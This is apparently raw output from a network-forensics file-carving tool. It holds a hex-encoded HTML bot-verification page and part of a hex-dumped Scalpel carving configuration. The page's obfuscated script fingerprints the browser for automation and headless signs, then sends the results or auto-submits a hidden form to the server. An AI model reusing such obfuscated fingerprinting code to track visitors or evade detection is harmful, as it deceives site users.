32 37 2e 31 38 37 33 37 39 33 20 31 34 2e 37 37 33 37 30 34 39 2c 32 39 2e 30 33 36 34 32 38 20 31 39 2e 36 37 34 38 38 37 38 2c 33 30 2e 36 37 30 35 33 37 38 20 43 32 30 2e 34 31 34 38 35 31 32 2c 33 30 2e 39 31 37 30 30 31 32 20 32 31 2e 31 35 34 32 34 31 35 2c 33 31 2e 31 39 34 34 31 35 39 20 32 31 2e 38 33 32 38 37 35 36 2c 33 31 2e 35 33 33 37 33 32 39 20 43 31 36 2e 35 33 30 34 37 33 32 2c 33 33 2e 39 36 38 35 36 32 32 20 31 31 2e 33 32 31 34 39 37 36 2c 33 36 2e 36 34 39 38 35 34 39 20 35 2e 39 35 37 37 36 35 38 35 2c 33 38 2e 39 39 33 35 35 20 43 36 2e 38 32 30 39 36 30 39 38 2c 33 36 2e 38 33 35 35 36 32 32 20 37 2e 38 39 39 36 36 38 32 39 2c 33 34 2e 37 36 39 38 35 34 39 20 38 2e 37 33 31 39 31 32 32 2c 33 32 2e 35 38 31 34 38 39 20 43 37 2e 36 38 33 35 38 32 39 33 2c 33 30 2e 31 37 36 34 36 34 36 20 36 2e 31 31 31 39 34 38 37 38 2c 32 38 2e 30 31 39 30 35 20 34 2e 39 37 31 33 33 39 30 32 2c 32 35 2e 36 34 35 35 35 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 69 64 3d 22 46 69 6c 6c 2d 31 34 22 20 66 69 6c 6c 3d 22 23 34 36 37 43 34 35 22 3e 3c 2f 70 61 74 68 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 70 61 74 68 20 64 3d 22 4d 31 35 2e 34 35 34 39 31 38 33 2c 33 35 2e 38 37 37 30 34 38 38 20 43 31 39 2e 34 36 37 31 31 33 34 2c 33 33 2e 39 33 31 37 30 37 33 20 32 33 2e 34 34 38 33 35 37 33 2c 33 31 2e 38 39 35 32 33 31 37 20 32 37 2e 34 39 31 35 30 33 37 2c 33 30 2e 30 34 33 33 31 37 31 20 43 32 36 2e 34 31 31 30 37 36 38 2c 33 33 2e 36 35 34 32 39 32 37 20 32 35 2e 30 32 32 32 38 34 31 2c 33 37 2e 32 30 33 39 33 39 20 32 33 2e 38 31 38 36 32 35 36 2c 34 30 2e 38 31 34 33 34 31 35 20 43 32 33 2e 31 30 39 30 34 30 32 2c 34 32 2e 37 32 37 35 38 35 34 20 32 32 2e 35 35 33 30 36 34 36 2c 34 34 2e 37 30 33 33 30 34 39 20 32 31 2e 37 35 31 31 39 38 38 2c 34 36 2e 35 38 35 35 39 37 36 20 43 32 30 2e 37 36 33 30 35 32 34 2c 34 34 2e 34 38 36 36 34 36 33 20 32 30 2e 30 35 33 34 36 37 31 2c 34 32 2e 32 36 35 30 33 36 36 20 31 39 2e 31 32 37 37 39 36 33 2c 34 30 2e 31 33 35 31 33 34 31 20 43 31 36 2e 36 32 37 36 32 35 36 2c 33 39 2e 32 30 39 34 36 33 34 20 31 34 2e 30 30 34 32 32 33 32 2c 33 38 2e 36 38 34 34 33 39 20 31 31 2e 34 37 33 36 37 34 34 2c 33 37 2e 39 37 34 38 35 33 37 20 43 31 32 2e 36 37 37 33 33 32 39 2c 33 37 2e 30 38 30 31 33 34 31 20 31 34 2e 31 35 38 34 30 36 31 2c 33 36 2e 35 38 36 30 36 31 20 31 35 2e 34 35 34 39 31 38 33 2c 33 35 2e 38 37 37 30 34 38 38 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 69 64 3d 22 46 69 6c 6c 2d 31 36 22 20 66 69 6c 6c 3d 22 23 34 36 37 43 34 35 22 3e 3c 2f 70 61 74 68 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 67 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 67 3e 0a 20 20 20 20 20 20 20 20 3c 2f 67 3e 0a 20 20 20 20 3c 2f 73 76 67 3e 0a 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 3c 64 69 76 20 69 64 3d 22 74 65 78 74 22 3e 0a 20 20 20 20 20 20 20 20 50 6c 65 61 73 65 20 77 61 69 74 20 77 68 69 6c 65 20 79 6f 75 72 20 72 65 71 75 65 73 74 20 69 73 20 62 65 69 6e 67 20 76 65 72 69 66 69 65 64 2e 2e 2e 0a 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 3c 2f 64 69 76 3e 0a 20 20 3c 64 69 76 20 69 64 3d 22 79 37 6c 69 78 71 78 37 64 36 63 64 22 3e 3c 2f 64 69 76 3e 0a 20 20 3c 73 63 72 69 70 74 3e 0a 28 66 75 6e 63 74 69 6f 6e 28 55 2c 73 29 7b 76 61 72 20 61 30 49 3d 7b 55 3a 30 78 31 37 65 2c 73 3a 30 78 31 36 61 2c 6d 3a 30 78 31 36 39 2c 50 3a 30 78 31 39 33 2c 44 3a 30 78 31 39 30 2c 4c 3a 30 78 31 35 65 7d 2c 4e 3d 61 30 50 2c 6d 3d 55 28 29 3b 77 68 69 6c 65 28 21 21 5b 5d 29 7b 74 72 79 7b 76 61 72 20 50 3d 70 61 72 73 65 49 6e 74 28 4e 28 61 30 49 2e 55 29 29 2f 30 78 31 2b 70 61 72 73 65 49 6e 74 28 4e 28 30 78 31 39 37 29 29 2f 30 78 32 2a 28 70 61 72 73 65 49 6e 74 28 4e 28 61 30 49 2e 73 29 29 2f 30 78 33 29 2b 2d 70 61 72 73 65 49 6e 74 28 4e 28 61 30 49 2e 6d 29 29 2f 30 78 34 2b 2d 70 61 72 73 65 49 6e 74 28 4e 28 30 78 31 38 31 29 29 2f 30 78 35 2a 28 2d 70 61 72 73 65 49 6e 74 28 4e 28 61 30 49 2e 50 29 29 2f 30 78 36 29 2b 2d 70 61 72 73 65 49 6e 74 28 4e 28 61 30 49 2e 44 29 29 2f 30 78 37 2b 70 61 72 73 65 49 6e 74 28 4e 28 30 78 31 38 37 29 29 2f 30 78 38 2a 28 70 61 72 73 65 49 6e 74 28 4e 28 61 30 49 2e 4c 29 29 2f 30 78 39 29 2b 2d 70 61 72 73 65 49 6e 74 28 4e 28 30 78 31 37 62 29 29 2f 30 78 61 2a 28 70 61 72 73 65 49 6e 74 28 4e 28 30 78 31 37 36 29 29 2f 30 78 62 29 3b 69 66 28 50 3d 3d 3d 73 29 62 72 65 61 6b 3b 65 6c 73 65 20 6d 5b 27 70 75 73 68 27 5d 28 6d 5b 27 73 68 69 66 74 27 5d 28 29 29 3b 7d 63 61 74 63 68 28 44 29 7b 6d 5b 27 70 75 73 68 27 5d 28 6d 5b 27 73 68 69 66 74 27 5d 28 29 29 3b 7d 7d 7d 28 61 30 6d 2c 30 78 35 33 30 36 31 29 29 3b 66 75 6e 63 74 69 6f 6e 20 61 30 6d 28 29 7b 76 61 72 20 65 3d 5b 27 66 6f 72 6d 27 2c 27 64 34 39 30 33 30 62 33 34 39 27 2c 27 64 6f 63 75 6d 65 6e 74 27 2c 27 65 6e 74 72 69 65 73 27 2c 27 31 36 71 76 41 42 6f 6e 27 2c 27 6c 61 6e 67 75 61 67 65 27 2c 27 74 6f 53 74 72 69 6e 67 27 2c 27 69 6e 70 75 74 27 2c 27 42 79 49 64 27 2c 27 67 65 74 45 6c 65 6d 65 6e 74 27 2c 27 61 70 70 65 6e 64 43 68 69 6c 27 2c 27 5f 5f 70 72 6f 74 6f 5f 5f 27 2c 27 6e 61 6d 65 27 2c 27 31 35 37 31 35 30 4a 62 44 43 45 59 27 2c 27 66 6f 72 45 61 63 68 27 2c 27 6f 75 74 65 72 57 69 64 74 68 27 2c 27 33 33 38 36 38 32 62 59 62 6c 48 68 27 2c 27 76 61 6c 75 65 27 2c 27 74 79 70 65 27 2c 27 64 69 73 70 6c 61 79 3a 6e 6f 27 2c 27 34 36 6c 65 48 41 57 46 27 2c 27 61 70 70 6c 79 27 2c 27 47 45 54 27 2c 27 6d 61 70 27 2c 27 32 33 36 37 35 38 35 57 73 65 58 4f 77 27 2c 27 73 75 62 6d 69 74 27 2c 27 70 72 6f 74 6f 74 79 70 65 27 2c 27 6d 69 6d 65 54 79 70 65 73 27 2c 27 6e 65 3b 27 2c 27 61 64 64 45 76 65 6e 74 4c 69 27 2c 27 73 65 61 72 63 68 27 2c 27 75 73 65 72 41 67 65 6e 74 27 2c 27 6c 65 6e 67 74 68 27 2c 27 6f 70 65 6e 27 2c 27 65 6e 74 27 2c 27 32 39 32 32 38 38 4b 5a 43 4f 6a 70 27 2c 27 36 39 38 35 35 6a 59 63 49 71 68 27 2c 27 70 6c 75 67 69 6e 73 27 2c 27 31 62 34 31 62 30 38 66 31 32 27 2c 27 28 28 28 2e 2b 29 2b 29 2b 29 27 2c 27 30 39 35 30 36 33 35 30 32 37 27 2c 27 74 65 63 68 61 6e 67 65 27 2c 27 66 69 6c 74 65 72 27 2c 27 61 74 74 61 63 68 45 76 65 6e 27 2c 27 6c 61 6e 67 75 61 67 65 73 27 2c 27 6f 6e 72 65 61 64 79 73 74 61 27 2c 27 63 72 65 61 74 65 45 6c 65 6d 27 2c 27 63 6f 6e 73 74 72 75 63 74 6f 27 2c 27 31 31 56 61 6c 50 72 4b 27 2c 27 6f 75 74 65 72 48 65 69 67 68 27 2c 27 73 74 65 6e 65 72 27 2c 27 37 66 61 33 62 37 36 37 63 34 27 2c 27 61 70 70 65 6e 64 27 2c 27 31 33 34 34 39 37 39 30 4a 50 6b 54 78 45 27 2c 27 73 65 6e 64 27 2c 27 77 65 62 64 72 69 76 65 72 27 2c 27 36 36 32 34 33 34 64 4a 66 75 69 61 27 2c 27 61 36 31 30 35 63 30 61 36 31 27 2c 27 68 69 64 64 65 6e 27 2c 27 35 4e 6c 6e 77 49 49 27 2c 27 4c 6f 61 64 65 64 27 5d 3b 61 30 6d 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 65 3b 7d 3b 72 65 74 75 72 6e 20 61 30 6d 28 29 3b 7d 76 61 72 20 61 30 44 3d 77 69 6e 64 6f 77 5b 27 6e 61 76 69 67 61 74 6f 72 27 5d 2c 61 30 4c 3d 7b 27 77 65 62 64 72 69 76 65 72 43 68 65 63 6b 27 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 78 3d 61 30 50 3b 72 65 74 75 72 6e 27 77 65 62 64 72 69 76 65 72 27 69 6e 20 77 69 6e 64 6f 77 7c 7c 21 21 61 30 44 5b 78 28 30 78 31 37 64 29 5d 3b 7d 2c 27 75 73 65 72 41 67 65 6e 74 43 68 65 63 6b 27 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 61 30 51 3d 7b 55 3a 30 78 31 36 35 7d 2c 72 3d 61 30 50 3b 72 65 74 75 72 6e 2f 68 65 61 64 6c 65 73 73 7c 62 79 74 65 73 70 69 64 65 72 2f 69 5b 27 74 65 73 74 27 5d 28 61 30 44 5b 72 28 61 30 51 2e 55 29 5d 29 3b 7d 2c 27 61 70 70 56 65 72 73 69 6f 6e 43 68 65 63 6b 27 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 2f 68 65 61 64 6c 65 73 73 2f 69 5b 27 74 65 73 74 27 5d 28 61 30 44 5b 27 61 70 70 56 65 72 73 69 6f 6e 27 5d 29 3b 7d 2c 27 70 6c 75 67 69 6e 41 72 72 61 79 53 70 6f 6f 66 69 6e 67 27 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 61 30 63 3d 7b 55 3a 30 78 31 36 62 2c 73 3a 30 78 31 38 65 2c 6d 3a 30 78 31 36 36 7d 2c 64 3d 61 30 50 3b 6c 65 74 20 55 3d 50 6c 75 67 69 6e 41 72 72 61 79 5b 64 28 30 78 31 36 30 29 5d 3d 3d 3d 61 30 44 5b 64 28 61 30 63 2e 55 29 5d 5b 64 28 61 30 63 2e 73 29 5d 3b 69 66 28 61 30 44 5b 64 28 61 30 63 2e 55 29 5d 5b 64 28 61 30 63 2e 6d 29 5d 3e 30 78 30 29 55 26 3d 50 6c 75 67 69 6e 5b 64 28 30 78 31 36 30 29 5d 3d 3d 3d 61 30 44 5b 27 70 6c 75 67 69 6e 73 27 5d 5b 30 78 30 5d 5b 64 28 30 78 31 38 65 29 5d 3b 72 65 74 75 72 6e 21 55 3b 7d 2c 27 6d 69 6d 65 54 79 70 65 41 72 72 61 79 53 70 6f 6f 66 69 6e 67 27 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 61 30 58 3d 7b 55 3a 30 78 31 36 30 2c 73 3a 30 78 31 38 65 2c 6d 3a 30 78 31 36 30 2c 50 3a 30 78 31 36 31 7d 2c 5a 3d 61 30 50 3b 6c 65 74 20 55 3d 4d 69 6d 65 54 79 70 65 41 72 72 61 79 5b 5a 28 61 30 58 2e 55 29 5d 3d 3d 3d 61 30 44 5b 27 6d 69 6d 65 54 79 70 65 73 27 5d 5b 5a 28 61 30 58 2e 73 29 5d 3b 69 66 28 61 30 44 5b 5a 28 30 78 31 36 31 29 5d 5b 5a 28 30 78 31 36 36 29 5d 3e 30 78 30 29 55 26 3d 4d 69 6d 65 54 79 70 65 5b 5a 28 61 30 58 2e 6d 29 5d 3d 3d 3d 61 30 44 5b 5a 28 61 30 58 2e 50 29 5d 5b 30 78 30 5d 5b 5a 28 61 30 58 2e 73 29 5d 3b 72 65 74 75 72 6e 21 55 3b 7d 2c 27 6e 6f 4c 61 6e 67 75 61 67 65 27 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 61 30 47 3d 7b 55 3a 30 78 31 37 32 7d 2c 61 3d 61 30 50 3b 72 65 74 75 72 6e 21 61 30 44 5b 61 28 30 78 31 38 38 29 5d 7c 7c 61 30 44 5b 61 28 61 30 47 2e 55 29 5d 5b 61 28 30 78 31 36 36 29 5d 3d 3d 3d 30 78 30 3b 7d 2c 27 7a 65 72 6f 4f 75 74 65 72 44 69 6d 65 6e 73 69 6f 6e 73 27 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 48 3d 61 30 50 3b 72 65 74 75 72 6e 20 77 69 6e 64 6f 77 5b 48 28 30 78 31 37 37 29 2b 27 74 27 5d 3d 3d 3d 30 78 30 26 26 77 69 6e 64 6f 77 5b 48 28 30 78 31 39 32 29 5d 3d 3d 3d 30 78 30 3b 7d 7d 2c 61 30 76 3d 66 75 6e 63 74 69 6f 6e 28 6d 2c 50 29 7b 76 61 72 20 61 30 53 3d 7b 55 3a 30 78 31 36 33 2c 73 3a 30 78 31 37 38 2c 6d 3a 30 78 31 38 35 2c 50 3a 30 78 31 36 33 2c 44 3a 30 78 31 37 33 7d 2c 61 30 6b 3d 7b 55 3a 30 78 31 36 34 2c 73 3a 30 78 31 36 64 2c 6d 3a 30 78 31 38 39 2c 50 3a 30 78 31 37 35 7d 2c 42 3d 61 30 50 2c 44 3d 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 76 3d 21 21 5b 5d 3b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 59 2c 4b 29 7b 76 61 72 20 43 3d 76 3f 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 52 3d 61 30 50 3b 69 66 28 4b 29 7b 76 61 72 20 68 3d 4b 5b 52 28 30 78 31 39 38 29 5d 28 59 2c 61 72 67 75 6d 65 6e 74 73 29 3b 72 65 74 75 72 6e 20 4b 3d 6e 75 6c 6c 2c 68 3b 7d 7d 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 3b 72 65 74 75 72 6e 20 76 3d 21 5b 5d 2c 43 3b 7d 3b 7d 28 29 29 2c 4c 3d 44 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 67 3d 61 30 50 3b 72 65 74 75 72 6e 20 4c 5b 67 28 30 78 31 38 39 29 5d 28 29 5b 67 28 61 30 6b 2e 55 29 5d 28 67 28 61 30 6b 2e 73 29 2b 27 2b 24 27 29 5b 67 28 61 30 6b 2e 6d 29 5d 28 29 5b 67 28 61 30 6b 2e 50 29 2b 27 72 27 5d 28 4c 29 5b 67 28 30 78 31 36 34 29 5d 28 27 28 28 28 2e 2b 29 2b 29 2b 29 27 2b 27 2b 24 27 29 3b 7d 29 3b 4c 28 29 2c 77 69 6e 64 6f 77 5b 42 28 61 30 53 2e 55 29 2b 42 28 61 30 53 2e 73 29 5d 3f 77 69 6e 64 6f 77 5b 42 28 61 30 53 2e 6d 29 5d 5b 42 28 61 30 53 2e 50 29 2b 42 28 30 78 31 37 38 29 5d 28 27 44 4f 4d 43 6f 6e 74 65 6e 74 27 2b 42 28 30 78 31 38 32 29 2c 6d 2c 50 29 3a 77 69 6e 64 6f 77 5b 42 28 61 30 53 2e 6d 29 5d 5b 42 28 30 78 31 37 31 29 2b 27 74 27 5d 28 42 28 61 30 53 2e 44 29 2b 42 28 30 78 31 36 66 29 2c 6d 29 3b 7d 3b 66 75 6e 63 74 69 6f 6e 20 61 30 50 28 55 2c 73 29 7b 76 61 72 20 6d 3d 61 30 6d 28 29 3b 72 65 74 75 72 6e 20 61 30 50 3d 66 75 6e 63 74 69 6f 6e 28 50 2c 44 29 7b 50 3d 50 2d 30 78 31 35 64 3b 76 61 72 20 4c 3d 6d 5b 50 5d 3b 72 65 74 75 72 6e 20 4c 3b 7d 2c 61 30 50 28 55 2c 73 29 3b 7d 61 30 76 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 61 30 70 3d 7b 55 3a 30 78 31 38 63 2c 73 3a 30 78 31 38 62 2c 6d 3a 30 78 31 38 35 2c 50 3a 30 78 31 37 34 2c 44 3a 30 78 31 37 34 2c 4c 3a 30 78 31 36 38 2c 76 3a 30 78 31 38 61 2c 59 3a 30 78 31 35 64 2c 4b 3a 30 78 31 37 30 2c 43 3a 30 78 31 37 61 2c 68 3a 30 78 31 36 63 2c 6f 3a 30 78 31 36 37 2c 79 3a 30 78 31 37 63 2c 71 3a 30 78 31 39 36 2c 4f 3a 30 78 31 39 39 2c 41 3a 30 78 31 39 34 2c 56 3a 30 78 31 37 39 2c 54 3a 30 78 31 38 30 2c 46 3a 30 78 31 39 35 2c 74 3a 30 78 31 39 35 2c 49 3a 30 78 31 38 64 2c 7a 3a 30 78 31 35 66 7d 3b 73 65 74 54 69 6d 65 6f 75 74 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 45 3d 61 30 50 2c 55 3d 77 69 6e 64 6f 77 5b 27 64 6f 63 75 6d 65 6e 74 27 5d 5b 45 28 61 30 70 2e 55 29 2b 45 28 61 30 70 2e 73 29 5d 28 27 79 37 6c 69 78 71 78 37 64 36 63 64 27 29 2c 73 3d 2b 28 28 2b 21 2b 5b 5d 2b 21 21 5b 5d 2b 21 21 5b 5d 29 2b 28 2b 21 2b 5b 5d 2b 21 21 5b 5d 2b 21 21 5b 5d 2b 21 21 5b 5d 2b 21 21 5b 5d 2b 21 21 5b 5d 2b 21 21 5b 5d 2b 5b 5d 29 2b 28 2b 21 2b 5b 5d 2b 21 21 5b 5d 2b 21 21 5b 5d 2b 21 21 5b 5d 29 2b 28 2b 21 2b 5b 5d 2b 21 21 5b 5d 2b 21 21 5b 5d 2b 21 21 5b 5d 2b 21 21 5b 5d 2b 21 21 5b 5d 2b 21 21 5b 5d 2b 5b 5d 29 2b 28 2b 21 2b 5b 5d 2b 21 21 5b 5d 2b 21 21 5b 5d 2b 21 21 5b 5d 2b 21 21 5b 5d 2b 21 21 5b 5d 2b 21 21 5b 5d 2b 21 21 5b 5d 29 2b 28 2b 21 2b 5b 5d 2b 21 21 5b 5d 2b 21 21 5b 5d 2b 21 21 5b 5d 2b 21 21 5b 5d 2b 21 21 5b 5d 2b 21 21 5b 5d 2b 21 21 5b 5d 2b 21 21 5b 5d 2b 5b 5d 29 2b 28 2b 21 2b 5b 5d 2b 21 21 5b 5d 29 29 2c 6d 3d 77 69 6e 64 6f 77 5b 27 64 6f 63 75 6d 65 6e 74 27 5d 5b 45 28 30 78 31 37 34 29 2b 27 65 6e 74 27 5d 28 45 28 30 78 31 38 33 29 29 2c 50 3d 77 69 6e 64 6f 77 5b 45 28 61 30 70 2e 6d 29 5d 5b 45 28 61 30 70 2e 50 29 2b 45 28 30 78 31 36 38 29 5d 28 27 69 6e 70 75 74 27 29 2c 44 3d 77 69 6e 64 6f 77 5b 45 28 30 78 31 38 35 29 5d 5b 45 28 61 30 70 2e 44 29 2b 45 28 61 30 70 2e 4c 29 5d 28 27 69 6e 70 75 74 27 29 2c 4c 3d 77 69 6e 64 6f 77 5b 27 64 6f 63 75 6d 65 6e 74 27 5d 5b 45 28 30 78 31 37 34 29 2b 45 28 61 30 70 2e 4c 29 5d 28 45 28 61 30 70 2e 76 29 29 2c 76 3d 77 69 6e 64 6f 77 5b 45 28 61 30 70 2e 6d 29 5d 5b 27 63 72 65 61 74 65 45 6c 65 6d 27 2b 45 28 30 78 31 36 38 29 5d 28 27 69 6e 70 75 74 27 29 2c 59 3d 2b 28 28 2b 21 2b 5b 5d 2b 21 21 5b 5d 2b 21 21 5b 5d 2b 21 21 5b 5d 2b 21 21 5b 5d 2b 21 21 5b 5d 29 2b 28 2b 21 2b 5b 5d 2b 21 21 5b 5d 2b 21 21 5b 5d 2b 5b 5d 29 2b 28 2b 21 2b 5b 5d 2b 21 21 5b 5d 2b 21 21 5b 5d 2b 21 21 5b 5d 2b 21 21 5b 5d 2b 21 21 5b 5d 29 2b 28 2b 21 2b 5b 5d 2b 21 21 5b 5d 2b 21 21 5b 5d 2b 21 21 5b 5d 2b 21 21 5b 5d 2b 21 21 5b 5d 2b 21 21 5b 5d 2b 21 21 5b 5d 2b 21 21 5b 5d 2b 5b 5d 29 2b 28 2b 21 2b 5b 5d 2b 21 21 5b 5d 2b 21 21 5b 5d 2b 21 21 5b 5d 2b 21 21 5b 5d 2b 21 21 5b 5d 2b 21 21 5b 5d 2b 21 21 5b 5d 29 2b 28 2b 21 2b 5b 5d 2b 21 21 5b 5d 2b 21 21 5b 5d 2b 21 21 5b 5d 2b 5b 5d 29 2b 28 2b 21 2b 5b 5d 2b 21 21 5b 5d 2b 21 21 5b 5d 2b 21 21 5b 5d 2b 21 21 5b 5d 2b 21 21 5b 5d 29 29 2c 4b 3d 27 77 73 69 64 63 68 6b 27 2c 43 3d 27 70 64 61 74 61 27 2c 68 3d 27 68 74 74 70 25 33 41 25 32 46 25 32 46 77 77 77 2e 76 69 61 6e 77 61 72 65 2e 63 6f 6d 25 32 46 35 32 73 37 25 32 46 25 33 46 62 6c 4e 25 33 44 5a 32 64 39 6c 61 41 68 66 61 32 25 32 36 33 6c 50 30 25 33 44 42 71 6f 79 6c 63 64 43 6c 7a 57 52 4f 77 57 56 61 32 70 74 34 73 34 57 41 71 6f 6d 25 32 42 4d 25 32 46 54 78 49 4b 62 54 49 6a 46 48 35 38 51 4c 32 52 25 32 46 41 61 55 43 77 52 30 4e 71 77 61 52 69 66 73 7a 32 6e 56 34 48 32 63 46 75 49 42 58 63 56 44 51 53 38 47 73 67 77 64 46 6e 37 57 37 55 5a 7a 78 77 38 4b 41 78 63 6b 49 32 4a 6e 66 52 75 33 50 64 43 61 71 6f 33 74 6c 56 74 69 43 72 33 69 43 4f 6c 69 25 32 46 66 77 41 25 33 44 27 2c 6f 3d 27 2f 7a 30 66 37 36 61 31 64 31 34 66 64 32 31 61 38 66 62 35 66 64 30 64 30 33 65 30 66 64 63 33 64 33 63 65 64 61 65 35 32 66 27 2c 79 3d 27 66 61 69 6c 65 64 43 68 65 63 6b 73 27 2c 71 3d 4f 62 6a 65 63 74 5b 45 28 30 78 31 38 36 29 5d 28 61 30 4c 29 5b 45 28 61 30 70 2e 59 29 5d 28 28 5b 54 2c 46 5d 29 3d 3e 7b 74 72 79 7b 72 65 74 75 72 6e 20 46 28 29 3f 54 3a 6e 75 6c 6c 3b 7d 63 61 74 63 68 28 74 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 3b 7d 7d 29 5b 45 28 61 30 70 2e 4b 29 5d 28 54 3d 3e 54 21 3d 3d 6e 75 6c 6c 29 2c 4f 3d 71 5b 45 28 30 78 31 36 36 29 5d 3e 30 78 30 3b 69 66 28 4f 29 7b 76 61 72 20 41 3d 6e 65 77 20 55 52 4c 53 65 61 72 63 68 50 61 72 61 6d 73 28 29 3b 41 5b 45 28 61 30 70 2e 43 29 5d 28 27 69 64 27 2c 45 28 30 78 31 37 66 29 2b 45 28 61 30 70 2e 68 29 2b 45 28 30 78 31 36 65 29 2b 27 39 65 27 29 2c 41 5b 45 28 30 78 31 37 61 29 5d 28 27 74 73 27 2c 27 31 37 37 37 33 36 34 32 32 39 27 29 2c 41 5b 45 28 30 78 31 37 61 29 5d 28 4b 2c 73 2b 59 29 2c 41 5b 45 28 30 78 31 37 61 29 5d 28 43 2c 68 29 2c 71 5b 45 28 30 78 31 39 31 29 5d 28 54 3d 3e 41 5b 45 28 30 78 31 37 61 29 5d 28 79 2c 54 29 29 3b 76 61 72 20 56 3d 6e 65 77 20 58 4d 4c 48 74 74 70 52 65 71 75 65 73 74 28 29 3b 56 5b 45 28 61 30 70 2e 6f 29 5d 28 27 47 45 54 27 2c 6f 2b 27 3f 27 2b 41 5b 45 28 30 78 31 38 39 29 5d 28 29 29 2c 56 5b 45 28 61 30 70 2e 79 29 5d 28 6e 75 6c 6c 29 3b 7d 65 6c 73 65 20 6d 5b 27 69 64 27 5d 3d 27 79 37 6c 69 78 71 78 37 64 36 63 64 27 2c 6d 5b 27 73 74 79 6c 65 27 5d 3d 45 28 61 30 70 2e 71 29 2b 45 28 30 78 31 36 32 29 2c 6d 5b 27 6d 65 74 68 6f 64 27 5d 3d 45 28 61 30 70 2e 4f 29 2c 6d 5b 27 61 63 74 69 6f 6e 27 5d 3d 6f 2c 50 5b 27 69 64 27 5d 3d 27 75 69 70 67 6d 66 36 33 69 6c 6b 75 27 2c 50 5b 27 6e 61 6d 65 27 5d 3d 4b 2c 50 5b 45 28 30 78 31 39 34 29 5d 3d 73 2b 59 2c 50 5b 45 28 30 78 31 39 35 29 5d 3d 27 68 69 64 64 65 6e 27 2c 4c 5b 45 28 30 78 31 38 66 29 5d 3d 27 69 64 27 2c 4c 5b 45 28 61 30 70 2e 41 29 5d 3d 45 28 61 30 70 2e 56 29 2b 27 36 30 62 35 34 61 32 62 65 34 27 2b 45 28 30 78 31 38 34 29 2b 27 63 37 27 2c 4c 5b 45 28 30 78 31 39 35 29 5d 3d 45 28 61 30 70 2e 54 29 2c 76 5b 27 6e 61 6d 65 27 5d 3d 27 74 73 27 2c 76 5b 27 76 61 6c 75 65 27 5d 3d 27 31 37 37 37 33 36 34 32 32 39 27 2c 76 5b 45 28 61 30 70 2e 46 29 5d 3d 27 68 69 64 64 65 6e 27 2c 44 5b 27 69 64 27 5d 3d 27 76 33 77 35 33 6b 72 69 63 73 6f 38 27 2c 44 5b 45 28 30 78 31 38 66 29 5d 3d 43 2c 44 5b 45 28 30 78 31 39 34 29 5d 3d 68 2c 44 5b 45 28 61 30 70 2e 74 29 5d 3d 27 68 69 64 64 65 6e 27 2c 6d 5b 45 28 30 78 31 38 64 29 2b 27 64 27 5d 28 50 29 2c 6d 5b 45 28 61 30 70 2e 49 29 2b 27 64 27 5d 28 44 29 2c 6d 5b 45 28 30 78 31 38 64 29 2b 27 64 27 5d 28 4c 29 2c 6d 5b 27 61 70 70 65 6e 64 43 68 69 6c 27 2b 27 64 27 5d 28 76 29 2c 55 5b 27 61 70 70 65 6e 64 43 68 69 6c 27 2b 27 64 27 5d 28 6d 29 2c 6d 5b 45 28 61 30 70 2e 7a 29 5d 28 29 3b 7d 2c 30 78 33 65 38 29 3b 7d 2c 21 5b 5d 29 3b 0a 20 20 3c 2f 73 63 72 69 70 74 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a\n2026-04-29T19:32:30.203968,Tool:tmpshtww47t/carved,Unknown,0,Unknown,0,HTTP,scalpel.conf,conf,/tmp/tmpshtww47t/carved/scalpel.conf,796,a2da2c51920b2a2338daac52dc8f3894,35fa9929898a9ad0b97ddb04fb3b9b8cc0295a9e38cc7463922f86fa92d7c165,3.97,\" Scalpel Configuration Generated by Network Analyzer,  ext      case  header          footer,  Graphics, jpg        y     , x10   , jpg        y     , xe1           , png        y     , x0a   , gif        y     , x61   , gif        y     , x61   ,  Documents, pdf        y     , x46           , zip        y     , x04           ,  Executables, exe        y     , x5a                   REVERSE, elf        y     , x46           REVERSE,  Multimedia, mp3        y     , x33                , mp4        y     , x70 REVERSE,         \",0a 23 20 53 63 61 6c 70 65 6c 20 43 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 47 65 6e 65 72 61 74 65 64 20 62 79 20 4e 65 74 77 6f 72 6b 20 41 6e 61 6c 79 7a 65 72 0a 23 20 65 78 74 20 20 20 20 20 20 63 61 73 65 20 20 68 65 61 64 65 72 20 20 20 20 20 20 20 20 20 20 66 6f 6f 74 65 72 0a 0a 23 20 47 72 61 70 68 69 63 73 0a 6a 70 67 20 20 20 20 20 20 20 20 79 20 20 20 20 20 5c 78 66 66 5c 78 64 38 5c 78 66 66 5c 78 65 30 5c 78 30 30 5c 78 31 30 20 20 20 5c 78 66 66 5c 78 64 39 0a 6a 70 67 20 20 20 20 20 20 20 20 79 20 20 20 20 20 5c 78 66 66 5c 78 64 38 5c 78 66 66 5c 78 65 31 20 20 20 20 20 20 20 20 20 20 20 5c 78 66 66 5c 78 64 39 0a 70 